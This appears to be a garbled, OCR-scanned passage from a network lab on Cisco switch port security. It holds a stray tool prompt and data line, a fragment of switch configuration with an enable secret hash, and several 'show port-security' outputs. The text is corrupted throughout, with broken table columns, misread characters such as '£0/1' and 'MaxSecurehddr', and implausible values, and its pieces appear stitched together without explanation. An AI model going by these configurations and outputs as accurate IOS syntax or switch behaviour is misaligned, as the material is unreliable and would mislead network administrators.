PARAN: ab_test data=AAAAAPPT/PvvfPPTAAAAPPAAAAAAAAAAPAAAAAAAN/aCCAAACANHBE

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT
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version 12.2

no service timestamps log datetime msec
no service timestamps debug datetime msec
service password-encryption

hostname Switch

enable secret 5 $1SmERr$hxS5rVt7rPNoS4wgbXEXTmO
'

no ip domain-lookup
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switch#show port-security
Secure Port MaxSecureAddr CurrentAddr SecurityViolation Security Action

(Count)

(Count) (Count)

0 Shutdown
0 Shutdown

IS

Fa0/1 10
Fa0/2 10 1
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Switch#sh port-security
Secure Port MaxSecurehddr CurrentAddr SecurityViolation Security Action

(Count) (Count)

(Count)

Fa0/1 10 4 0 Shutdown
Fa0/2 10 1 0 Shutdown
Fa0/3 10 1 0 Shutdown

0 0 Shutdown

Fa0/4 10
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switch#show port-security int £0/1

Port Security : Enabled
Port status : Secure-up
Violation Mode : Shutdown
Aging Time : 0 mins
Aging Type : Absolute
Securestatic Address Aging : Disabled
Maximum MAC Addresses 110

Total MAC Addresses s
Configured MAC Addresses : 1

Sticky MAC Addresses :3

Last Source Address:Vlan  : 0090.211B.4501:1

Security Violation Count : 0
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